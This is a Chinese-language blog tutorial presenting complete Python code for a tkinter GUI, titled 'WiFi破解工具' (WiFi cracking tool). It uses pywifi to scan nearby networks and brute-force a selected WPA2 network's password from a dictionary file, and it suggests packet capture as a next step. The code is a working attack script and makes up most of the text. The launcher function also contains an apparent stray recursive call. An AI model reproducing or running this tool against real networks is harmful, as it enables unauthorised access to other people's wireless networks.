Python（十）- tkinter案例(1): WiFi连接器

前段时间，在脉脉上看到一篇关于WiFi连接的python实现，感觉挺有意思的。

具体网址忘了，大概思路是利用 tkinter 和 pywifi 这两个库，搭建一个WiFi界面，通过密码文件暴力破解，并不是那种可以通过抓取空中报文，解析用户密码之类的，当然，如果有人有兴趣的话，可以去试一下。

---

1.目标

• 以界面显示程序，提供连接操作；
• 展示附近 WiFi 信号列表，可选择；
• 用户可自定义密码文件；
• 程序提供破解器（即自动生成随机密码）- 本文暂不考虑（其实意义不大），有兴趣的可以试试；
• 连接测试，显示结果（账号密码）

2.思路

• 利用 tkinter 和 pywifi 这两个库，搭建一个WiFi界面；
• 扫描附近 wifi 信号；
• 密码文件暴力破解（这里方式多样化，不固定），也可以动态创建一个密码迭代器；
• 这里可以设定时间或次数之类的；
• 对wifi和密码进行匹配测试

3.实现

• 初始化与大体框架

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox


class WiFi_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        # 密码文件路径
        self.get_value = StringVar()
        # 获取破解wifi账号
        self.get_wifi_value = StringVar()
        # 获取wifi密码
        self.get_wifimm_value = StringVar()
        self.wifi = pywifi.PyWiFi()
        # 抓取网卡接口
        self.iface = self.wifi.interfaces()[0]
        # 抓取第一个无线网卡
        self.iface.disconnect()  # 测试链接断开所有链接
        time.sleep(1)  # 休眠1秒#测试网卡是否属于断开状态
        assert self.iface.status() in [
            const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())

• 设置窗口

class WiFi_GUI():
    def set_init_window(self):
        self.init_window_name.title("WIFI破解工具")
        self.init_window_name.geometry('+500+200')
        labelframe = LabelFrame(width=400, height=200, text="配置")
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="搜索附近WiFi",
                             command=self.scans_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="开始破解",
                            command=self.readPassWord).grid(column=1, row=0)
        self.label = Label(labelframe, text="目录路径：").grid(column=0, row=1)
        self.path = Entry(labelframe, width=12,
                          textvariable=self.get_value).grid(column=1, row=1)
        self.file = Button(labelframe, text="添加密码文件目录",
                           command=self.add_mm_file).grid(column=2, row=1)
        self.wifi_text = Label(
            labelframe, text="WiFi账号：").grid(column=0, row=2)
        self.wifi_input = Entry(
            labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self.wifi_mm_text = Label(
            labelframe, text="WiFi密码：").grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(
            column=3, row=2, sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)

        # 定义树形结构与滚动条
        self.wifi_tree = ttk.Treeview(
            self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(
            self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        # 表格的标题
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)

• 搜索/显示wifi

class WiFi_GUI():
    # 搜索wifi
    # cmd /k C:\python\python36\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT
    def scans_wifi_list(self):
        # 扫描周围wifi列表#开始扫描
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒后获取扫描结果
        scanres = self.iface.scan_results()
        # 统计附近被发现的热点数量
        nums = len(scanres)
        print("数量: %s" % (nums))
        # print ("| %s |  %s |  %s | %s"%("WIFIID","SSID","BSSID","signal"))
        # 实际数据
        self.show_scans_wifi_list(scanres)
        return scanres

    # 显示wifi列表
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
            self.wifi_tree.insert("", 'end', values=(
                index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
            # print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))

• 绑定事件

class WiFi_GUI():
    # Treeview绑定事件
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
        # print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])

• 读取密码，进行匹配

class WiFi_GUI():
    # 添加密码文件目录
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    # 读取密码字典，进行匹配
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        # print("文件路径：%s\n" %(self.getFilePath))
        self.get_wifissid = self.get_wifi_value.get()
        # print("ssid：%s\n" %(self.get_wifissid))
        if not self.getFilePath:
            self.getFilePath = 'misdic.txt'

        self.pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = self.pwdfilehander.readline()
                # print("密码: %s " %(self.pwdStr))
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                # print("返回值：%s\n" %(self.bool1) )
                if self.bool1:
                    # print("密码正确："+pwdStr)
                    # res = "密码:%s 正确 \n"%self.pwdStr
                    self.res = "===正确===  wifi名:%s  匹配密码：%s " % (
                        self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('提示', '破解成功！！！')
                    print(self.res)
                    break
                else:
                    # print("密码:"+self.pwdStr+"错误")
                    self.res = "---错误--- wifi名:%s匹配密码：%s" % (
                        self.get_wifissid, self.pwdStr)
                    print(self.res)
                    time.sleep(3)
            except Exception as e:
                print(e)
                continue

    # 对wifi和密码进行匹配
    def connect(self, pwd_Str, wifi_ssid):
        # 创建wifi链接文件
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid
        # wifi名称
        self.profile.auth = const.AUTH_ALG_OPEN
        # 网卡的开放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP
        # 加密单元
        self.profile.key = pwd_Str
        # 密码
        self.iface.remove_all_network_profiles()
        # 删除所有的wifi文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)
        # 设定新的链接文件
        self.iface.connect(self.tmp_profile)
        # 链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:
            # 判断是否连接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 断开
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in [
            const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK

• 启动

def gui_start():
    init_window = Tk()
    ui = WiFi_GUI(init_window)
    print(ui)
    ui.set_init_window()
    ui.scans_wifi_list()
    init_window.mainloop()
    gui_start()


if __name__ == "__main__":
    gui_start()

• 显示

4.优化

优化思路主要是密码字典生成方式，线程池、进程池、密码迭代器等等，如果要做复杂的话，可以试试考虑截取空中报文。
具体代码就不写了，感兴趣的可以自己试试去实现。

---

原文可见：我的博客 - WiFi破解工具